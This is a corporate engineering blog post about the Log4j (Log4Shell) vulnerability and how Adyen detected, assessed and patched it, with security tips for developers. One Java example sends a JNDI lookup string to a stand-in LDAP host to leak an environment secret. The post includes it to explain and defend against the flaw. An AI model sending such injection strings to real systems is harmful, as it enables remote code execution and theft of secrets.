Guides and reports

Inside Adyen: The Log4j Saga

By Beppe Catanese, Developer Advocate, Adyen

December 22, 2021

· 5 minutes

Topics

It has been quite a week for the Java Ecosystem and the Open Source communities: on December 9, 2021, acritical vulnerabilitywas discovered in the popular Java Logging frameworkLog4j(version 2).

In this blog post I am going to talk about the Log4j vulnerability andhow Adyen responded; I will share some of the actions, mitigating factors and best coding practices from our Security team and experts in the domain.

Reported to the Apache Foundation by the Alibaba Cloud Security team, the Log4j vulnerability has initiated a global race to understand exposure, apply a fix as soon as possible, and evaluate impact across the wide number of systems and software applications that somehow rely (or include) the library.

The vulnerability, being so severe and ubiquitous, has been given its own name (Log4Shell), something that happened in the past for other notorious security threats (https://shellsharks.com/designer-vulnerabilities).

Log4Shell in simple words

A malicious attacker can exploit a Log4j security flaw triggeringRemote Code Execution (RCE), extracting sensitive data or causing a denial of service, typically providing certain input strings that are eventually logged by the application using Log4j.

Language: java

    public Class myWrapper {
  public doSomething(String user_input) { 
    logger.info(user_input);
  }
}

new myWrapper().doSomething
   (“${jndi:ldap://remoteserver.com/{env:SECRET}}”);

Leveraging on JNDI capabilities a remote class can be injected into the server process and executed with a very undesirable outcome.

What about Adyen

Java is a pillar of our core platform and several services are running on top of it - therefore we have taken the incident very seriously.People, processes and toolsare our best assets and they have again delivered: Let me share some insights of what happened and what we have done.

Detection

Soon after the news started circulating, our teams were already exchanging messages, performing an initial assessment and discussing the first steps and actions. Although we have formal channels for managing security alerts, theAdyenWayis aboutdirect, fast and effective interactionsbetween teams (support, security, infrastructure, development, product). As such, detection and communication happened rapidly and efficiently.

Impact

We have a centralized way of understanding services, versions and dependencies. We didn’t limit it by looking at which Java application is affected, or which framework can be compromised, but we assessed theoverall status of the platformand performed a full review to figure out every potential exploitable behavior and further detection techniques to be implemented.

Although Log4j and several Open Source frameworks depending on it were found in various parts of the Adyen Core platform,no breach or exploitation was recordedthanks to the mitigating factors already in place.

Safekeeping factors

The mitigations were effective and included a mix of best practices and modern security measures:

Outbound connections (Egress Traffic) are strictly regulated and allowed only when absolutely necessary both on system and application level.
Systems are kept up-to-date with JDK releases and library patches.
Good application design and maintenance enables us to patch Log4j versions rapidly without introducing incompatibilities or breaking changes.
JNDI usage on the platform is strongly limited by design.
Thread context is exclusively set within local application information thus not being possible under any circumstances to be controlled by user input/crafted requests.
Adopting a “Zero-Trust” network with strong firewall rules to limit the impact of a breach.
“Principle of Least Privilege” where applications and containers never run with any kind of elevated access scope.
Thorough logging and observability mindset where all networking, system, databases, security and user activities are available to perform in-depth threat hunting activities.
Sharp monitoring, built through extensive logging capabilities and enriched with external sources, which allowed new data points to be constantly updated in order to detect and alert of evolving threats, and respond rapidly even in a high stress situation.

Patching and validation

Platform-wide patching and upgrade kicked off as soon as the latest Log4j version (v2.15.0 at that time) was made available after a remarkably fast and coordinated effort by the Log4j committers. Within 12 hours, from first becoming aware of the Apache Log4j vulnerability, theentire Adyen platform was upgradedand the fix was verified by Adyen’s Security team.

A second and third iteration were done when Log4j versions 2.16.0 and 2.17.0 became available. Although the mitigating factors and existing measures confirmed no exploitation would be possible we patched all our platform and supporting services diligently. We will keep a close look and monitor for further developments as new vulnerabilities or attack vectors could be identified.

Merchants first

Our merchants and partners are important to us and they are alwaysour first priority: we informed relevant stakeholders about the situation and the activities undertaken to secure the platform and every integration.

A busy day at Adyen

"Communication can be informal but effective: there is at least one person coordinating actions, sometimes more depending on the domain or environment. We follow light but clear processes, and involve the right people at the right time."
Analia OrtelladoAdyen Security

Find below the timeline and main events of 10 December:

h08:05 Adyen engineers became aware of the vulnerability.
h09:15 Apache Log4j vulnerability published by NIST.
h10:00 Initial Security assessment completed: no impact thanks to mitigating factors in place.
h11:50 Concluded review of the entire Adyen platform: no instances could be exploited.
h14:05 Developing and testing new releases complete.
h17:00 Platform-wide patching and testing (Apache Log4j upgrade).
h17:45 Security analysis conclusion to confirm health of platform.

Tips for Developers

Engineering best practices are a form of mitigation in cases like this, so I would like toshare tips and practicesthat are important to consider:

Make sure that youmaintain your dependencies to avoid vulnerabilities, deprecation, and etc. Tools never solve all your problems, and dependency management is a complex topic in large codebases, but dependency scanners are easy to deploy in your CI/CD pipelines and there are amazing Open Source options that could help engineering teams to step up their visibility.

Make sure that your software can run inmodern and maintained tech stacks. If you are using Log4j version 1 or running in Java SE 6, you will likely have a hard time trying to maintain your application and dependencies.

Sanitizelogging statement: this is a must-haveOWASPrule.

Reduce usage of dangerous tools, protocols, technology stacks that are not really required but only nice-to-haves. JNDI has beenlong consideredadangerous interfacethat needs to be treated with care.

Avoidstoring sensitive data(secret keys for example) in environment variables: there is a good possibility data gets exposed by an application crash or some unwanted logging (printenv), and definitely critical if the server is compromised. Integrate strong distributed secret stores instead.

Log only what is strictly necessary: capture user input if it brings value, keeping also in mind that confidential data might end up in the logging streams.

Revise the logging format: a popular pattern layout is`%-5p [%t]: %m%n`which looks harmless until you decide the user can somehow name the Java thread.

Final words

A final note to sayTHANK YOUto the Log4j contributors and all other developers, researchers and communities involved in addressing the security flaw and releasing a new and safer version of one of the most popular Java libraries.

At Adyen, we firmly believe in Open Source (we already sponsor and contribute to projects) and we plan to renew our commitment by open-sourcing more of our great software and supporting projects and committers who dedicate time and passion to those projects.

If you have questions, please contact us on Twitter@AdyenDevs- the team and I are always happy to help.

Stay safe and have a happy end of the year.